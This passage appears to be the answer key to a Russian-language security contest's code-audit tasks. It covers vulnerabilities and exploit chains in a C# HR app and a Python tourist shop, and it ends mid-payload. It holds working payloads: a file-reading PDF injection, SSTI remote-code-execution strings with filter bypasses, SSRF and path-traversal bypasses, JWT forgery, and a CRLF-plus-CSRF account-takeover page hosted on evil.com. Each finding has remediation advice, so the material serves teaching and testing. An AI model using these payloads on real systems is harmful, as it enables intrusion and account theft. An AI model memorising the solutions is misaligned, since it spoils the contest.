            if (currentUserId == null || requestedUserId != currentUserId.Value)
            {
                return Forbid();
            }   
            whereClause = $"WHERE u.Id = {userId}";
        }

        string sql = $@"
SELECT u.Id, u.Email, u.PasswordHash, u.ResetToken
FROM Users u {whereClause};";

Запрос требует наличие обязательного GET-параметра userId, но при указании данного параметра с пустым значением возможен обход проверки доступа пользователя, от которого выполняется запрос, к пользователю, указанному в параметре userId. Выражение whereClause не формируется и запрос возвращает информацию обо всех пользователях, включающую их идентификаторы и электронные почты. За счет того, что сессия пользователя проверяется в случае, если переданный параметр userId не пуст, то эксплуатация уязвимости доступна неаутентифицированному пользователю.

Пример запроса для получения информации обо всех пользователях приложения:

GET /api/user?userId=
Host: <host>
Рекомендации по устранению
  • Запретить выполнять запрос с пустым userId.
  • Корректно проверять сессию пользователя, например с помощью атрибута [Authorize(Roles = "user")].
2. Захват аккаунта с помощью некорректной реализации механизма сброса пароля Описание

В приложении некорректно реализован механизм сброса пароля, что позволяет сменить (сбросить) пароль для зарегистрированного пользователя по его электронной почте.

Риск

Злоумышленник может получить полный доступ к аккаунту пользователя, зная его электронную почту.
Электронные почты пользователей могут быть получены с помощью уязвимости из п. 1.

Шаги по эксплуатации

В приложении существует механизм сброса пароля, реализованный с помощью POST-запроса /api/user/password/request (генерация токена для сброса пароля и отправка его на электронную почту) и POST-запроса /api/user/password/reset (сброс пароля по токену и почте). При выполнении запроса на сброс пароля необходимо указать в теле запроса параметры Token и Email.
В коде UserConroller.cs отсутствует проверка, относится ли токен сброса к указанной в запросе почте. Пароль меняется для пользователя, чья почта указана в запросе:

    [HttpPost("password/reset")]
    public IActionResult Reset([FromBody] ResetPasswordModel req)
    {
        var resetToken = _db.Users.FirstOrDefault(x => x.ResetToken == req.Token);
        if (resetToken == null)
            return BadRequest("Invalid token");
        var account = _db.Users.FirstOrDefault(x => x.Email == req.Email);
        if (account == null)
            return BadRequest("User not found");
        ...
        account.PasswordHash = $"{Convert.ToBase64String(salt)}:{Convert.ToBase64String(hash)}";
        ...
        _db.SaveChanges();
        ...

Таким образом, для захвата аккаунта пользователя необходимо сначала отправить POST-запрос /api/user/password/request c контролируемым email в параметра Email, а затем перейти по ссылке из письма и в POST-запросе с параметрами Token и Email подменить электронную почту на почту жертвы. Тогда для данного аккаунта будет установлен пароль, указанный в параметре NewPassword. Электронные почты жертв могут быть получены с помощью уязвимости из п. 1.

Рекомендации по устранению
  • Проверять, что электронная почта в запросе на сброс пароля совпадает с почтой, для которой был ранее сгенерирован токен сброса.
3. Local File Read в функциональности генерации PDF-отчетов Описание

Функциональность генерации PDF позволяет передавать произвольный HTML со стороны клиента, который затем рендерится сервером в браузере headless Chromium через PuppeteerSharp. HTML проходит через самописную санитизацию на основе регулярных выражений.

Данная санитизация некорректная и ее возможно обойти. В результате злоумышленник может выполнить JavaScript в контексте отображаемой страницы, динамически создать iframe с источником file:///... и добиться включения содержимого локального файла сервера в итоговый PDF.

Риск

Злоумышленник может прочитать локальные файлы на сервере, доступные процессу приложения. Это может привести к раскрытию конфиденциальных данных, включая системные файлы, конфигурацию приложения, секреты, ключи, токены.
Запрос требует аутентификации пользователя с ролью user. Открытая регистрация в приложении отсутствует, запрос может быть выполнен от имени пользователя, аккаунт которого захвачен с помощью уязвимости из п. 2.

Шаги по эксплуатации

Функциональность генерации PDF-отчетов реализована в PdfGeneratorController.cs и доступна c помощью метода POST /PdfGenerator.

Эндпоинт принимает HTML-код из тела запроса:

using var reader = new StreamReader(Request.Body);
var html = await reader.ReadToEndAsync();
html = SanitizeHtml(html);

После этого HTML сохраняется во временный файл и открывается браузером как локальная страница:

await System.IO.File.WriteAllTextAsync(tempHtmlPath, html);
var fileUrl = new Uri(tempHtmlPath).AbsoluteUri;
await page.GoToAsync(fileUrl, new NavigationOptions
{
    WaitUntil = new[] { WaitUntilNavigation.Load }
});

Браузер при этом запускается с флагом --allow-file-access-from-files, что позволяет странице загружать другие локальные ресурсы. Перед генерацией pdf происходит 2ух секундная пауза, в это время JavaScript на странице может отработать, после чего страница сохраняется в формате pdf:

await page.PdfAsync(tempPdfPath, new PdfOptions
{
    PrintBackground = true
});

Из-за некорректно реализованной самописной санитизации и отсутствия обработчика события onerror в файле events.lst становится возможным исполение JavaScript-кода в контексте страницы.

Пример PoC для эксплуатации:

<!DOCTYPE html>
<html>
<body>
   <img src="x" onerror="eval(atob('dmFyIGlmcmFtZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lmcmFtZScpOwppZnJhbWUuc3JjID0gJ2ZpbGU6Ly8vZXRjL3Bhc3N3ZCc7CmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZyYW1lKTs='))">
</body>
</html>

В base64 закодирован JavaScript-скрипт, который добавляет iframe-элемент, отображающий локальный файл:

var iframe = document.createElement('iframe');
iframe.src = 'file:///etc/passwd';
document.body.appendChild(iframe);

Для отправки запроса можно воспользоваться Burp Suite или curl:

curl -X POST https://:target-ip:/PdfGenerator -H "Content-Type: text/plain" --data-binary @exploit.html --output result.pdf
Рекомендации по устранению
  • Не рендерить пользовательский ввод как самостоятельный локальный HTML-документ. Формировать PDF из заранее определенного шаблона с помощью шаблонизатора, а пользовательские данные подставлять как текстовые значения в модель.
  • Следует использовать полноценную библиотеку для санитизации HTML с белыми списками тегов и атрибутов.
  • Убрать флаг --allow-file-access-from-files.
4. Server-Side Template Injection (SSTI) в функциональности отправки расчетного листа Описание

Функциональность отправки расчетного листа сотруднику по электронной почте позволяет передавать пользовательский комментарий, который добавляется в шаблон письма. Данный шаблон обрабатывается серверным шаблонизатором RazorLight.
Санитизация пользовательского комментария некорректная и ее возможно обойти, что позволяет злоумышленнику внедрить в комментарий специальные конструкции шаблонизатора, которые будут выполнены на стороне сервера.

Риск

Злоумышленник может добиться выполнения серверного кода в процессе генерации письма. Это может привести к раскрытию конфиденциальных данных приложения, обходу логики приложения или выполнению произвольных действий на сервере.
Запрос требует параметр AdminApiKey. Значение токена может быть получено с помощью уязвимости LFR из п. 3. Путь, по которому лежит секрет указан в EmailController.cs:12.

Шаги по эксплуатации

Функциональность отправки расчетного листа реализована в EmailController.cs с помощью метода
POST /api/email/payslip.
При формировании письма используется следующий шаблон:

string template =
@"Hello, @Model.Name!
Your salary in @Model.Month is @Model.Salary!
";

Если в запросе передан параметр Comment, он напрямую добавляется к шаблону:

if (!string.IsNullOrWhiteSpace(req.Comment))
{
    template += "n" + req.Comment;
}

После этого получившийся шаблон компилируется методом: engine.CompileRenderStringAsync(key, template, model);
Это означает, что содержимое Comment обрабатывается как часть Razor-шаблона.

Обход санитизации

В TemplateService.cs реализована фильтрация шаблона:

if (normalized.Contains("@{") || normalized.Contains("@()"))
    throw new Exception("Code blocks are not allowed");

и блокировка ряда ключевых слов:

system
process
diagnostics
reflection
file
directory
typeof
activator

Однако данная защита не предотвращает выполнение Razor-выражений вида: @(...), которые продолжают интерпретироваться шаблонизатором.

POC для эксплуатации: https://efigo.pl/en/blog/cve-2024-9150/
С учетом фильтра его необходимо модифицировать. В случае, если система на Linux, то достаточно использовать конкатенацию для обхода блокировки ключевых слов:

"a".GetType().Assembly.GetType("Sys"+"tem.Refle"+"ction.Assembly").GetMethod("LoadFi"+"le").Invoke(null, "/usr/share/dotnet/shared/Microsoft.NETCore.App/6.0.32/Syst"+"em.Diag"+"nostics.Proc"+"ess.dll".Split("?")).GetType("Syst"+"em.Diagn"+"ostics.Pro"+"cess").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""touch /tmp/rce-$(whoami)""".Split(","))

Но придется подобрать корректную версию NETCore в пути.
Для Windows GetValue(0) не будет работать, так как целевая функция System.Diagnostics.Process.Start будет находиться под другим индексом, поэтому его тоже придется подобрать.
Пример POC под Windows:

  "comment": "@(((dynamic)("a".GetType().Assembly.GetType("Sy"+"stem.Refl"+"ection.Assembly").GetMethod("LoadFi"+"le").Invoke(null, new object[] { "C:/Program Fi"+"les/dotnet/shared/Microsoft.NETCore.App/10.0.5/Sy"+"stem.Diag"+"nostics.Pr"+"ocess.dll" }))).GetType("Sy"+"stem.Diag"+"nostics.Pro"+"cess").GetMethods().GetValue(70).Invoke(null, new object[] { "cmd.exe", "/c whoami" }))"
Рекомендации по устранению
  • Не включать пользовательский ввод в шаблон
    Комментарий должен передаваться через модель, а не добавляться в текст шаблона.
    Пример:
    var model = new PayslipModel
    {
        Name = user.Email,
        Salary = user.Salary,
        Month = DateTime.UtcNow.ToString("MMMM"),
        Comment = req.Comment
    };

    Шаблон:

    string template =
    @"Hello, @Model.Name!
    Your salary in @Model.Month is @Model.Salary!
    @Model.Comment
    ";
5. Возможность перебора учетных записей в функциональности сброса пароля Описание

При выполнении POST-запроса /api/user/password/reset, который генерирует ссылку для сброса пароля, ответ сервера меняется в зависимости от того, зарегистрирован ли такой адрес электронной почты в организации или нет. Ниже приведена уязвимая функция RequestReset:

    [HttpPost("password/request")]
    public async Task<IActionResult> RequestReset([FromBody] PasswordResetRequest req)
    {
        var user = _db.Users
            .FromSqlRaw("SELECT * FROM Users WHERE Email = {0}", req.Email)
            .AsNoTracking()
            .FirstOrDefault();

        if (user == null)
            return Ok(new { message = "Requested user does not exist!" });
        ...
        return Ok(new { message = "Reset email has been sent." });
    }
Риск

Злоумышленник может перебрать пароли пользователей

Рекомендации по устранению:

Отказаться от вывода информации о существовании учетной записи при сбросе пароля пользователя.

6. Слабая парольная политика Описание

В функции сброса пароля Reset (UserController.cs:85), которой соответствует POST-запрос /api/user/password/reset отсутствуют требования к новым паролям. Пользователь имеет возможность установить пароль для учетной записи длиной в 1 символ или пустой пароль.

Риск

Злоумышленник может перебрать пароли пользователей

Рекомендации по устранению

Использовать проверку на сложность пароля на стороне сервера.

Цепочка эксплуатации

С помощью комбинации уязвимостей из пп. 1-4 возможен захват аккаунтов пользователей (уязвимости 1 и 2), а также удаленное выполнение произвольного кода на сервере (уязвимости 3-4). За описание сценария могут быть начислены дополнительные баллы.

Последовательность действий:

  • Перечисление информации обо всех пользователях приложения с помощью баги 1, получение электронных почт пользователей. Эксплуатация не требует аутентификации.
  • Захват аккаунта произвольного пользователя с ролью User с помощью баги 2 через сброс пароля. Почта целевого пользователя может быть получена на предыдущем шаге.
  • Получение секрета AdminApiKey с помощью LFR. Искомый путь указан в EmailController.cs:12. Для эксплуатации требуется аккаунт пользователя с ролью user.
  • RCE через SSTI. Для запроса требуется AdminApiKey, который получен на предыдущем шаге.
Вопрос 5

Вы анализируете файлы из утечки исходного кода магазина туристического снаряжения. Проанализируйте код, опишите уязвимости и составьте из них возможные цепочки.

Для каждой найденной проблемы безопасности необходимо привести:

  • конкретное описание уязвимости;
  • максимальный реальный риск;
  • шаги по эксплуатации, полезная нагрузка для реализации этого риска и пояснения к ней;
  • рекомендации по устранению, необходимые замены в коде и комментарии, каким образом они обеспечат защиту.

Ссылка на скачивание файлов: https://github.com/testdsec/SOH2026/tree/main/task_5

Решение: 1. SSRF Описание

В приложении существует функциональность создания продукта пользователем с правами администратора. Данная функциональность позволяет загружать отзывы на товар из внешних источников. При этом данная функциональность уязвима к SSRF. Несмотря на наличие в приложении черных списков (blacklists), доступ к хостам из этих списков остается возможным.

Риск

Данная атака позволяет злоумышленнику совершать произвольные запросы на адреса во внутренней сети. Злоумышленник может контролировать IP-адрес или доменное имя, порт, GET-параметры запроса. В результате возможно получение доступа к внутренней сетевой инфраструктуре, компрометация служебных сервисов и извлечение критичных данных.

Шаги по эксплуатации

В представленном коде tourist_shop/backend/app.py:178 существует функциональность создания продукта. Для создания продукта используются следующие параметры:

description = data.get("description", "")
price = data.get("price", "")
reviews = data.get("reviews", "")

При передаче параметра reviews сервер отправляет запрос на указанный адрес. Значение данного параметра парсится, а полученные из него схема и хост проверяются на наличие в черных списках.
Фрагмент кода, проверяющий схему и хост на наличие в черных списках:

block_schemes = ["file", "gopher", "expect", "php", "dict", "ftp", "glob", "data"]
block_host = [ "127.0.0.1", "localhost", "localhost.localdomain", "local", "localdomain", 
              "::1", "ip6-localhost", "ip6-loopback", "0.0.0.0", "127.0.0.0",
              ...]
...
if reviews:
        decode_reviews = unquote(reviews)
        parsed = urlparse(decode_reviews)
        scheme = parsed.scheme.lower()
        host = parsed.netloc.lower()
        if parsed.username or parsed.password:
            return jsonify(error="Basic authentication in URL is not allowed"), 400
        if scheme in block_schemes:
            return jsonify(error="Input scheme is forbidden"), 400
        if host in block_host:
            return jsonify(error="Input hostname is forbidden"), 400
        try:
            target = urllib.request.urlopen(reviews)

При отправке запроса на хост, указанный в черных списках, сервер возвращает ошибку Input hostname is forbidden.

Запрос:

POST /api/admin/create_product HTTP/1.1
Host: IP
Content-Type: application/json
Content-Length: 62

{"description":"test","price":1,"reviews":"https://localhost"}

Ответ:

HTTP/1.0 400 BAD REQUEST
Content-Type: application/json

{"error":"Input hostname is forbidden"}

Для обхода данной ошибки и получения доступа к внутреннему хосту (например, localhost) достаточно явно указать порт в значении параметра reviews.

Запрос:

POST /api/admin/create_product HTTP/1.1
Host: 172.28.141.216:5000
Content-Type: application/json
Content-Length: 66

{"description":"test","price":1,"reviews":"http://localhost:8000"}

Ответ:

HTTP/1.0 201 CREATED
Content-Type: application/json

{"description":"test","message":"Product created successfully","price":1,"reviews":"<!-- HTML for static distribution bundle build -->n<!DOCTYPE html>n<html lang="en">n  <head>n    <meta charset="UTF-8">n    <title>Swagger UI</title>n    <link rel="stylesheet" type="text/css" href="./swagger-ui.css" />n    <link rel="stylesheet" type="text/css" href="index.css" />n    <link rel="icon" type="image/png" href="./favicon-32x32.png" sizes="32x32" />n    <link rel="icon" type="image/png" href="./favicon-16x16.png" sizes="16x16" />n  </head>nn  <body>n    <div id="swagger-ui"></div>n    <script src="./swagger-ui-bundle.js" charset="UTF-8"> </script>n    <script src="./swagger-ui-standalone-preset.js" charset="UTF-8"> </script>n    <script src="./swagger-initializer.js" charset="UTF-8"> </script>n  </body>n</html>n"}

Кроме того, существует возможность обхода с помощью добавления пробела сразу после хоста.

Запрос:

POST /api/admin/create_product HTTP/1.1
Host: 172.28.141.216:5000
Content-Type: application/json
Content-Length: 62

{"description":"test","price":1,"reviews":"http://localhost "}

Ответ:

HTTP/1.0 201 CREATED
Content-Type: application/json
Content-Length: 11189
Server: Werkzeug/2.0.2 Python/3.10.12
Date: Thu, 02 Apr 2026 09:16:23 GMT

{"description":"test","message":"Product created successfully","price":1,"reviews":"<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">n<html xmlns="http://www.w3.org/1999/xhtml">n  <!--n    Modified from the Debian original for Ubuntun...
Рекомендации по устранению

Удалять пробельные символы в начале и конце строки с хостом (.strip()).
Извлекать и проверять порт отдельно от хоста. Запрещать запросы к портам, которые не требуются для работы функционала.
Перенести сервер, выполняющий запросы, в изолированный сегмент и дать ему минимальные сетевые права, исключающие возможность доступа во внутреннюю сеть. Таким образом злоумышленник не сможет использовать уязвимость во внутренней сети, но такой подход требует изменения архитектуры приложения.

2. Path Traversal и Local File Disclosure Описание

В приложении существует функциональность чтения файлов, которая доступна только администратору. Легитимно можно читать только файлы из директории uploads. При обработке имени файла проверяется наличие path traversal символов. Однако эту проверку можно обойти и совершить выход за пределы директории.

Риск

Авторизованный злоумышленник с ролью администратора может выходить за пределы легитимной директории и читать любые доступные процессу приложения файлы.

Шаги по эксплуатации

В представленном коде tourist_shop/backend/app.py:245 реализована функциональность чтения файлов, которая доступна только администратору.

@app.route("/api/admin/view", methods=["GET"])
@admin_required
def view_file():
    ...

Обработка имени файла проверяет наличие символов ../ и ..\ и заменяет их на пустую строку. Далее путь до легитимной директории uploads прямо конкатенируется с именем файла и метод read() читает его содержимое, которое выводится в ответе сервера.

filename = filename.replace("../", "").replace("..\", "")
filepath = os.path.join(UPLOAD_FOLDER, filename)

try:
    with open(filepath, "r", encoding="utf-8", errors="ignore") as f:
        content = f.read()
        result = {"ok": True, "message": content}

    return jsonify(**result)

Данная реализация фильтра не удаляет искомую подстроку рекурсивно. Фильтр для входной строки запускается один раз и если нагрузка имеет вид ....//, то фильтр удалит лишь первое соответствие подстроки, но при этом останется еще одна часть path traversal символов (../) что позволит обойти данный фильтр.

Запрос

GET /api/admin/view?file=....//....//....//....//.bash_history HTTP/1.1
Host: IP
Cookie: <edit>
Connection: close

Ответ

HTTP/1.0 200 OK
Content-Type: application/json

{"message":"<secret content>"}
Рекомендации по устранению

Удалять искомые подстроки рекурсивно, либо заменять их на другие спецсимволы ломающие структуру относительных путей (relative paths) и исключающих таким образом path traversal атаки. Либо не сохранять файлы с оригинальным именем.

3. Захардкоженный секрет JWT Описание

В исходном коде приложения секрет для подписи JWT-токенов задан статически в виде строковой константы. Данный секрет является словарным и может быть подобран с использованием популярных словарей, таких как rockyou.txt.

Фрагмент кода, содержащий захардкоженный секрет:

JWT_SECRET = "funkymonkey"
JWT_ALGORITHM = "HS256"

JWT-токен передаётся в cookie token и содержит имя пользователя и его роль (user / admin). Декоратор auth_required выполняет проверку токена исключительно по данному секрету.

Риск

Знание секрета позволяет злоумышленнику сформировать произвольный JWT-токен с любыми значениями полей sub и role. В частности, злоумышленник может создать токен с "sub": "admin", "role": "admin" и получить полный доступ к административным эндпоинтам приложения

Шаги по эксплуатации
  1. Извлечь JWT-токен из cookie token после аутентификации под любым пользователем (например, demo / demo).

Запрос:

POST /api/auth/login HTTP/1.1
Host: IP
Content-Type: application/json

{"username":"demo","password":"demo"}

Ответ содержит cookie token с JWT-токеном.

  1. Подобрать секрет с использованием утилиты hashcat или john:
hashcat -a 0 -m 16500 <token> rockyou.txt

Результат: секрет funkymonkey.

  1. Сформировать поддельный JWT-токен с правами администратора:
import jwt, time
token = jwt.encode(
    {"sub": "admin", "role": "admin", "iat": int(time.time()), "exp": int(time.time()) + 3600},
    "funkymonkey",
    algorithm="HS256",
)
  1. Использовать полученный токен для доступа к административным эндпоинтам
Рекомендации по устранению

Генерировать JWT-секрет криптографически стойким генератором случайных чисел при первом запуске приложения и хранить его в переменных окружения. Не допускать хранения секретов в исходном коде.

4. CRLF-инъекция в заголовках HTTP-ответа Описание

В приложении существует WSGI-мидлварь ServiceMiddleware, обрабатывающая эндпоинт /go. Данный эндпоинт принимает GET-параметр url, декодирует его с помощью urllib.parse.unquote() и передаёт результат непосредственно в значение заголовка Location через функцию start_response().

Фрагмент уязвимого кода:

if path == "/go":
    qs = environ.get("QUERY_STRING", "")
    target = urllib.parse.parse_qs(qs).get("url", ["/"])[0]
    target = urllib.parse.unquote(target)
    start_response("302 Found", [
        ("Location", target),
        ("Content-Length", "0"),
    ])
    return [b""]

На уровне WSGI значения заголовков не проходят фильтрацию символов переноса строки (rn). Это позволяет злоумышленнику внедрить произвольные HTTP-заголовки в ответ сервера, включая Set-Cookie.

Риск

Злоумышленник может установить произвольные cookie-значения в браузере жертвы, посетившей специально сформированную ссылку. В совокупности с механизмом CSRF-защиты, основанным на Double Submit Cookie (см. Уязвимость 5), это приводит к полному обходу CSRF-защиты.

Шаги по эксплуатации

Отправить запрос с символами %0d%0a (URL-кодированные rn) в параметре url, после которых указать произвольный заголовок:

Запрос:

GET /go?url=/%0d%0aSet-Cookie:%20_csrf=pwned HTTP/1.1
Host: IP

Ответ:

HTTP/1.1 302 Found
Location: /
Set-Cookie: _csrf=pwned
Content-Length: 0

Заголовок Set-Cookie: _csrf=pwned внедрён в ответ сервера. При получении данного ответа браузер жертвы установит cookie _csrf со значением pwned.

Рекомендации по устранению

Фильтровать символы r и n из пользовательского ввода перед подстановкой в HTTP-заголовки. Использовать встроенные механизмы фреймворка для формирования перенаправлений (например, flask.redirect()), которые выполняют валидацию значений заголовков автоматически

5. Обход CSRF-защиты и захват учётной записи администратора (ATO) Описание

Защита от CSRF-атак в приложении реализована по схеме Double Submit Cookie. Декоратор csrf_protect сравнивает значение cookie _csrf со значением, переданным в HTTP-заголовке X-CSRF-Token или в POST-параметре _csrf.

Фрагмент кода декоратора:

def csrf_protect(f):
    @wraps(f)
    def wrapper(*args, **kwargs):
        ct = request.cookies.get("_csrf", "")
        ft = request.headers.get("X-CSRF-Token", "") or request.form.get("_csrf", "")
        if not ct or ct != ft:
            return jsonify(error="csrf token mismatch"), 403
        return f(*args, **kwargs)
    return wrapper

Схема Double Submit Cookie основана на предположении, что злоумышленник не может контролировать значения cookie в браузере жертвы. Однако в связке с CRLF-инъекцией (см Уязвимость 4) злоумышленник получает возможность установить cookie _csrf с произвольным известным значением через внедрение заголовка Set-Cookie.

Эндпоинт смены пароля /api/settings/password не требует указания текущего пароля пользователя, что позволяет произвести захват административного аккаунта

Риск

Комбинация уязвимостей позволяет злоумышленнику выполнить полный захват учётной записи (Account Takeover) любого аутентифицированного пользователя приложения, включая администратора. Злоумышленник размещает вредоносную HTML-страницу и побуждает жертву перейти по ссылке

Атака возможна благодаря тому, что cookie token установлена с атрибутом SameSite=None что позволяет браузеру отправлять её при cross-site запросах.

Цепочка атаки: жертва посещает вредоносную страницу → CRLF-инъекция перезаписывает cookie _csrf известным значением → страница автоматически отправляет форму смены пароля с совпадающим CSRF-токеном → пароль жертвы изменён.

Шаги по эксплуатации
  1. Злоумышленник подготавливает вредоносную HTML-страницу и размещает её на подконтрольном сервере (например, https://evil.com/exploit.html):
<html>
<body>
  <img src="http://TARGET:5000/go?url=/%0d%0aSet-Cookie:%20_csrf=pwned;%20Path=/;%20SameSite=None"
       style="display:none">

  <form id="f" method="POST" action="http://TARGET:5000/api/settings/password"
        enctype="application/x-www-form-urlencoded">
    <input type="hidden" name="_csrf" value="pwned">
    <input type="hidden" name="new_password" value="hacked">
  </form>

  <script>
    setTimeout(function() {
      document.getElementById('f').submit();
    }, 1000);
  </script>
</body>
</html>

Логика работы страницы:

  • Тег <img> выполняет GET-запрос к /go с CRLF-пэйлоадом. Сервер отвечает с заголовком Set-Cookie: _csrf=pwned; Path=/; SameSite=None, который перезаписывает cookie _csrf в браузере жертвы. Атрибут Path=/ необходим, чтобы cookie распространялась на все пути (без него cookie получит path /go и не будет отправлена при запросе к /api/*). Атрибут SameSite=None необходим, чтобы cookie отправлялась при cross-site запросах (по умолчанию браузер применяет SameSite=Lax).
  • Затем JavaScript автоматически отправляет форму на /api/settings/password. Браузер прикрепляет к запросу cookie жертвы: httponly-cookie token с SameSite=None и перезаписанный _csrf=pwned. В теле формы передаётся _csrf=pwned.
  • Декоратор csrf_protect сравнивает cookie _csrf (pwned) с полем формы _csrf (pwned) — значения совпадают, проверка пройдена.
  • Пароль жертвы меняется на hacked.
  1. Злоумышленник отправляет ссылку https://evil.com/exploit.html администратору. Администратор, будучи аутентифицированным в приложении, переходит по ссылке.
  2. После выполнения атаки злоумышленник авторизуется под учётной записью администратора с новым паролем:

Запрос:

POST /api/auth/login HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","password":"hacked"}

Ответ:

HTTP/1.1 200 OK
Content-Type: application/json

{"ok":true,"role":"admin","user":"admin"}
Рекомендации по устранению

Требовать указание текущего пароля при смене пароля. Использовать серверное хранение CSRF-токенов (например, привязку к сессии) вместо схемы Double Submit Cookie. Устранить CRLF-инъекцию, без которой данная атака невозможна. Установить атрибут SameSite=Strict на cookie token, что заблокирует отправку cookie при cross-site запросах

6. Манипуляция скидкой через привязку чужих заказов Описание

В приложении существует функиональность привязки старых заказов по номеру телефона. В интерфейсе реализовано ограничение на 1 отправку такого запроса, но в обработчике на бекенде данная проверка отсутствует, поэтому возможна многократная привязка заказов с разных номеров телефона. Максимальная скидка 25%

Риск

Злоумшленник может получить максимальную скидку в магазине без совершения заказов и начать пользоваться этой скидкой с самого первого заказа, если подберёт номера телефонов, где есть непривязанные заказы

Шаги по эксплуатации

На странице с программой лояльности /discount доступна форма привязки старых заказов по номеру телефона

  1. Перебрать номера телефонов через POST /api/bind_old_orders

Запрос на привязку заказов:

POST /api/bind_old_orders HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0MTIxMzEyMzQ2Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE3NzUwNzQxMTcsImV4cCI6MTc3NTE2MDUxN30.<ИЗМЕНЕНО>; _csrf=5b366b792e1f2a6c59a15df560e12a879f369c4c713a771c1cf9a15c757b5751
Content-type: application/json
X-CSRF-Token: 5b366b792e1f2a6c59a15df560e12a879f369c4c713a771c1cf9a15c757b5751
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Length: 33

{"phone_number":"+79999999998"}

Ответ:

HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 36

{"message":"discount info updated"}
  1. Получить информацию об актуальной скидке через GET /api/discount. В ответе "discount":25.0 отражает скидку пользователя

Запрос на получение информации о скидке

GET /api/discount HTTP/1.1
Host:TRAGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0MTIxMzEyMzQ2Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE3NzUwNzQxMTcsImV4cCI6MTc3NTE2MDUxN30.<ИЗМЕНЕНО>;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Ответ:

HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 78

{"add_old_orders":0,"discount":25.0,"orders_count":38,"user":"test121312346"}

Также на странице /discount отражается информация о скидке

По коду функции bind_old_orders видно, что требуется привязка более 20 заказов для получения максимальной скидки

    if orders_count > 20:
        discount = 25
    elif orders_count > 15:
        discount = 20
    elif orders_count > 10:
        discount = 15
    elif orders_count > 5:
        discount = 10  

В коде функции check_discount есть параметр add_old_orders, который отвечает за отрисовку активной формы на привязку заказов в интерфейсе.

            const addOldOrders = result.add_old_orders;

            if (addOldOrders === 1) {
                activateForm();
                if (!isAlreadyBinded) {
                    showMessage('✅ Программа лояльности доступна! Активируйте персональную скидку.', 'info');
                }
            } else {
                deactivateForm('Активация программы лояльности временно недоступна.');
            }
7. Небезопасная парольная политика. Описание

При регистрации и смене пароля единственное требование — длина не менее 4 символов. Отсутствуют проверки на сложность, наличие цифр, спецсимволов и совпадение с популярными паролями.

Риск

Злоумышленник может перебрать пароли пользователей

Рекомендации по устранению

Рекомендуется установить минимальную длину 8 символов, требовать наличие символов различных категорий и по возможности проверять пароль по словарям распространённых паролей.

8. Хранение паролей без соли. Описание

Функция hash_password использует SHA-256 без добавления соли. Одинаковые пароли разных пользователей дают одинаковые хэши, что позволяет применять радужные таблицы и ускоряет массовый подбор.

Риск

Злоумышленник может перебрать пароли пользователей при получении доступа к БД

Шаги по эксплуатации Рекомендации по устранению

Рекомендуется использовать специализированные алгоритмы (bcrypt, argon2) с автоматическим добавлением соли.

9. Смена пароля без подтверждения текущего. Описание

Эндпоинт /api/settings/password не требует указания старого пароля, что упрощает захват учётной записи при компрометации сессии.

Риск

Злоумышленник может сменить пароль пользователя при помощи полезной нагрузки XSS/CSRF

Рекомендации по устранению

Требовать указание старого пароля для его изменения.

10. Небезопасная конфигурация Cookie Описание

В сессионных данных установлены атрибуты SameSite:None

Риск

Сессионные Cookie могут попасть на ресурс злоумышленника.

Рекомендации по устранению

Рекомендуется использовать SameSite:Lax для повышения защищенности веб-приложения и предотвращения использования сесионных данных из сторонних источников.

11. Небезопасная загрузка файлов Описание

Функциональность загрузки файла (также как и чтение файла) содержит фильтр path traversal символов. Но его можно обойти указанным выше способом и загружать файлы вне директории uploads. Также код содержит константу определяющую максимальный размер загружаемого файла (16MB). Однако сама проверка по этой константе в коде не реализована, что позволяет загружать неограниченно большие файлы.

Риск

Злоумышленник может вызвать отказ в обслуживании сервиса

Рекомендации по устранению

Рекомендуется не сохранять файлы с оригинальным именем (использовать свои непредсказуемые имена), реализовать проверку размера загружаемого файла и сохранять файлы в объектном хранилище данных (Simple Storage Service).

Цепочки эксплуатации 1 . Получение JWT токена администратора с последующим чтением файлов на сервере (LFD) и получением доступа к внутренней сетевой инфраструктуре (SSRF).

Последовательность действий:

  • Извлекаем JWT-токен из cookie token после аутентификации под любым пользователем
  • Подбираем секрет с использованием утилиты hashcat или john
  • Формируем поддельный JWT-токен с правами администратора
  • Используем полученный токен для доступа к административным эндпоинтам
  • С помощью уязвимости Local File Disclosure получаем доступ к файлам хранящимся на сервере
  • С помощью уязвимости SSRF получить доступа к внутренней сетевой инфраструктуре.
2. Захват аккаунта адмсинистратора через oбход CSRF-защиты с последующим чтением файлов на сервере (LFD) и получением доступа к внутренней сетевой инфраструктуре (SSRF).

Последовательность действий:

  • Злоумышленник подготавливает вредоносную HTML-страницу с (CRLF-инъекция в заголовках HTTP-ответа) и со смненой пароля (Эндпоинт /api/settings/password не требует указания текущего пароля пользователя) и размещает её на подконтрольном сервере (например, https://evil.com/exploit.html)

Пример HTML страницы:

<html>
<body>
  <img src="http://TARGET:5000/go?url=/%0d%0aSet-Cookie:%20_csrf=pwned;%20Path=/;%20SameSite=None"
       style="display:none">

  <form id="f" method="POST" action="http://TARGET:5000/api/settings/password"
        enctype="application/x-www-form-urlencoded">
    <input type="hidden" name="_csrf" value="pwned">
